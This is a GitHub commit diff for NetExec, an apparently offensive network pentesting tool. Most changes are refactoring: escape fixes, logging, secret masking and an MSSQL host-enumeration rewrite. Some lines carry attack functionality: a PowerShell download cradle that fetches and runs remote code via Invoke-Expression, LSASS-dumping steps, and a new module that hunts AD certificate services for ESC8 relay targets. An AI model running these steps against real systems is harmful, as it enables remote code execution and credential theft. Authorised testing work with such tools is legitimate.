Merge branch 'main' into main

main
Alex 2024-03-14 00:57:22 +01:00 committed by GitHub
commit cf8b2c05c0
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
23 changed files with 462 additions and 422 deletions

View File

@ -21,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues)
- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues)
- 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
- 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
@ -37,6 +37,12 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
# Installation
Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
## Linux
```
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```
# Development
Development guidelines and recommendations in development

View File

@ -17,11 +17,11 @@ def gen_cli_args():
VERSION = importlib.metadata.version("netexec")
CODENAME = "nxc4u"
parser = argparse.ArgumentParser(description=f"""
parser = argparse.ArgumentParser(description=rf"""
. .
.| |. _ _ _ _____
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
\\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
/ /-\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
\ /

View File

@ -87,8 +87,8 @@ class connection:
self.port = self.args.port
self.conn = None
self.admin_privs = False
self.password = ""
self.username = ""
self.password = None
self.username = None
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost

View File

@ -0,0 +1,34 @@
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info

View File

@ -65,7 +65,7 @@ WELL_KNOWN_SIDS = {
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
@ -74,24 +74,24 @@ WELL_KNOWN_SIDS = {
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\Performance Log Users",
"S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\Event Log Readers",
"S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\Remote Management Users",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
}
@ -516,6 +516,8 @@ class NXCModule:
# If a principal has been specified, only the ACE where he is the trustee will be printed
for parsed_ace in parsed_dacl:
print_ace = True
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
# Filter on specific rights
if self.rights is not None:
try:
@ -528,7 +530,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@ -536,7 +538,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@ -544,13 +546,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@ -558,7 +560,7 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.print_parsed_ace(parsed_ace)

106
nxc/modules/enum_ca.py Normal file
View File

@ -0,0 +1,106 @@
from impacket.dcerpc.v5 import transport, epm
from impacket.http import AUTH_NTLM
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
RPC_PROXY_RPC_OUT_DATA_404_ERR
from impacket import uuid
import requests
class NXCModule:
"""
-------
Module by @0xjbb, original code from Impacket rpcdump.py
"""
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
593: {"bindstr": r"ncacn_http:%s"}
}
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.__username = connection.username
self.__password = connection.password
self.__domain = connection.domain
self.__lmhash = ""
self.__nthash = ""
self.__port = 135.
self.__stringbinding = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
if self.__port in [139, 445]:
# Setting credentials for SMB
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.__port)
elif self.__port in [443]:
# Setting credentials only for RPC Proxy, but not for the MSRPC level
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
else:
pass
try:
entries = self.__fetchList(rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
RPC_PROXY_CONN_A1_404_ERR in error_text or \
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
context.log.debug("EXEs %s" % exename)
if exename == "certsrv.exe":
context.log.highlight("Active Directory Certificate Services Found.")
url = f"http://{connection.host}/certsrv/certfnsh.asp"
context.log.highlight(url)
try:
response = requests.get(url, timeout=5)
if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
context.log.highlight("Web enrollment found on HTTP (ESC8).")
except requests.RequestException as e:
context.log.debug(e)
return
def __fetchList(self, rpctransport):
dce = rpctransport.get_dce_rpc()
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
return resp

View File

@ -31,7 +31,7 @@ class NXCModule:
self.MINLENGTH = module_options["MINLENGTH"]
if "PASSWORDPOLICY" in module_options:
self.PASSWORDPOLICY = True
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""

View File

@ -37,7 +37,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
if not self.ca:
context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
return False
host = connection.host

View File

@ -56,7 +56,7 @@ class NXCModule:
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
command = """$url="{}://{}:{}/{}"
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessInfo.FileName=$PowershellExe

View File

@ -248,7 +248,7 @@ class NXCModule:
]
# Create the IPC string
ipc = f"\\\\{ip}\IPC$\x00"
ipc = f"\\\\{ip}\\IPC$\x00"
self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}")
# Initialize the tree connect andx request

View File

@ -98,7 +98,7 @@ class NXCModule:
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
try:
self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
exec_method = MSSQLEXEC(self.connection.conn)
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
if exec_method.file_exists(self.remote_tmp_dir + self.nano):
self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
@ -118,13 +118,13 @@ class NXCModule:
self.context.log.display(f"Getting LSASS PID via command {command}")
p = self.connection.execute(command, display_output)
self.context.log.debug(f"tasklist Command Result: {p}")
if len(p) == 1:
p = p[0]
if not p or p == "None":
self.context.log.fail("Failed to execute command to get LSASS PID")
return
if len(p) == 1:
p = p[0]
pid = p.split(",")[1][1:-1]
self.context.log.debug(f"pid: {pid}")
timestamp = datetime.today().strftime("%Y%m%d_%H%M")

View File

@ -14,8 +14,8 @@ class NXCModule:
""""""
def on_admin_login(self, context, connection):
command = "reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
context.log.display("Executing command")
command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
context.log.debug(f"Executing command: {command}")
p = connection.execute(command, True)
if "The system was unable to find the specified registry key or value" in p:
context.log.debug("Unable to find RunAsPPL Registry Key")

View File

@ -194,7 +194,7 @@ class HostChecker:
ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
]
# Add check to conf_checks table if missing

View File

@ -399,7 +399,7 @@ class ldap(connection):
return False
except (KeyError, KerberosException, OSError) as e:
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {e!s}",
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {e!s}",
color="red",
)
return False
@ -442,21 +442,21 @@ class ldap(connection):
except SessionError as e:
error, desc = e.getErrorString()
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error!s}",
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error!s}",
color="magenta" if error in ldap_error_status else "red",
)
return False
except Exception as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if error_code in ldap_error_status else "red",
)
return False
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error_code!s}",
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error_code!s}",
color="magenta" if error_code in ldap_error_status else "red",
)
return False
@ -526,18 +526,18 @@ class ldap(connection):
except Exception as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
return False
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
def hash_login(self, domain, username, ntlm_hash):
@ -619,18 +619,18 @@ class ldap(connection):
except ldap_impacket.LDAPSessionError as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
return False
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
def create_smbv1_conn(self):

View File

@ -1,15 +1,19 @@
import os
import random
import socket
import contextlib
from nxc.config import process_secret
from nxc.connection import connection
from nxc.connection import requires_admin
from nxc.logger import NXCAdapter
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.ntlm_parser import parse_challenge
from nxc.helpers.powershell import create_ps_command
from impacket import tds
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
from impacket import tds, ntlm
from impacket.krb5.ccache import CCache
from impacket.smbconnection import SMBConnection, SessionError
from impacket.tds import (
SQLErrorException,
TDS_LOGINACK_TOKEN,
@ -22,31 +26,20 @@ from impacket.tds import (
TDS_ENVCHANGE_CHARSET,
TDS_ENVCHANGE_PACKETSIZE,
)
import contextlib
class mssql(connection):
def __init__(self, args, db, host):
self.mssql_instances = None
self.mssql_instances = []
self.domain = None
self.server_os = None
self.hash = None
self.os_arch = None
self.nthash = ""
self.is_mssql = False
connection.__init__(self, args, db, host)
def proto_flow(self):
self.proto_logger()
if self.create_conn_obj():
self.enum_host_info()
self.print_host_info()
if self.login():
if hasattr(self.args, "module") and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
def proto_logger(self):
self.logger = NXCAdapter(
extra={
@ -57,83 +50,98 @@ class mssql(connection):
}
)
def enum_host_info(self):
# this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363
try: # noqa: SIM105
# Probably a better way of doing this, grab our IP from the socket
self.local_ip = str(self.conn.socket).split()[2].split("=")[1].split(":")[0]
except Exception:
pass
if self.args.no_smb:
self.domain = self.args.domain
else:
try:
smb_conn = SMBConnection(self.host, self.host, None)
try:
smb_conn.login("", "")
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.getErrorString():
pass
self.domain = smb_conn.getServerDNSDomainName()
self.hostname = smb_conn.getServerName()
self.server_os = smb_conn.getServerOS()
self.logger.extra["hostname"] = self.hostname
with contextlib.suppress(Exception):
smb_conn.logoff()
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
except Exception as e:
self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
self.mssql_instances = self.conn.getInstances(0)
self.db.add_host(
self.host,
self.hostname,
self.domain,
self.server_os,
len(self.mssql_instances),
)
with contextlib.suppress(Exception):
self.conn.disconnect()
def print_host_info(self):
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
# if len(self.mssql_instances) > 0:
# for i, instance in enumerate(self.mssql_instances):
# for key in instance.keys():
def create_conn_obj(self):
try:
self.conn = tds.MSSQL(self.host, self.port)
self.conn.connect()
except OSError as e:
self.logger.debug(f"Error connecting to MSSQL: {e}")
# Default has not timeout option in tds.MSSQL.connect() function, let rewrite it.
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM)[0]
sock = socket.socket(af, socktype, proto)
sock.settimeout(self.args.mssql_timeout)
sock.connect(sa)
self.conn.socket = sock
if not self.is_mssql:
self.conn.preLogin()
except Exception as e:
self.logger.debug(f"Error connecting to MSSQL service on host: {self.host}, reason: {e}")
return False
return True
else:
self.is_mssql = True
return True
def reconnect_mssql(func):
def wrapper(self, *args, **kwargs):
with contextlib.suppress(Exception):
self.conn.disconnect()
# When using ccache file, we must need to set target host to hostname when creating connection object.
if self.kerberos:
self.host = self.hostname
self.create_conn_obj()
return func(self, *args, **kwargs)
return wrapper
def check_if_admin(self):
self.admin_privs = False
try:
results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')")
is_admin = int(results[0][""])
except Exception as e:
self.logger.fail(f"Error querying for sysadmin role: {e}")
return False
if is_admin:
self.admin_privs = True
self.logger.debug("User is admin")
else:
if is_admin:
self.admin_privs = True
@reconnect_mssql
def enum_host_info(self):
challenge = None
try:
login = tds.TDS_LOGIN()
login["HostName"] = ""
login["AppName"] = ""
login["ServerName"] = self.conn.server.encode("utf-16le")
login["CltIntName"] = login["AppName"]
login["ClientPID"] = random.randint(0, 1024)
login["PacketSize"] = self.conn.packetSize
login["OptionFlags2"] = tds.TDS_INIT_LANG_FATAL | tds.TDS_ODBC_ON | tds.TDS_INTEGRATED_SECURITY_ON
# NTLMSSP Negotiate
auth = ntlm.getNTLMSSPType1("", "")
login["SSPI"] = auth.getData()
login["Length"] = len(login.getData())
# Get number of mssql instance
self.mssql_instances = self.conn.getInstances(0)
# Send the NTLMSSP Negotiate or SQL Auth Packet
self.conn.sendTDS(tds.TDS_LOGIN7, login.getData())
tdsx = self.conn.recvTDS()
challenge = tdsx["Data"][3:]
self.logger.info(f"NTLM challenge: {challenge!s}")
except Exception as e:
self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
return False
else:
ntlm_info = parse_challenge(challenge)
self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances),)
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
if self.domain is None:
self.domain = ""
def print_host_info(self):
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
return True
@reconnect_mssql
def kerberos_login(
self,
domain,
@ -144,146 +152,126 @@ class mssql(connection):
kdcHost="",
useCache=False,
):
with contextlib.suppress(Exception):
self.conn.disconnect()
self.create_conn_obj()
self.username = username
self.password = password
self.domain = domain
self.nthash = ""
hashes = None
if ntlm_hash != "":
if ntlm_hash:
if ntlm_hash.find(":") != -1:
hashes = ntlm_hash
ntlm_hash.split(":")[1]
self.nthash = ntlm_hash.split(":")[1]
hashes = f":{self.nthash}"
else:
# only nt hash
hashes = f":{ntlm_hash}"
self.nthash = ntlm_hash
hashes = f":{self.nthash}"
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
if useCache and kerb_pass == "":
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0]
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
try:
res = self.conn.kerberosLogin(
None,
username,
password,
domain,
self.username,
self.password,
self.domain,
hashes,
aesKey,
kdcHost=kdcHost,
useCache=useCache,
)
if res is not True:
self.conn.printReplies()
return False
self.password = password
if username == "" and useCache:
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
principal = ccache.principal.toPrincipal()
self.username = principal.components[0]
username = principal.components[0]
else:
self.username = username
self.domain = domain
raise
self.check_if_admin()
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
domain = f"{domain}\\" if not self.args.local_auth else ""
self.logger.success(f"{domain}{username}{used_ccache} {self.mark_pwned()}")
self.logger.success(f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except Exception as e:
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
domain = f"{domain}\\" if not self.args.local_auth else ""
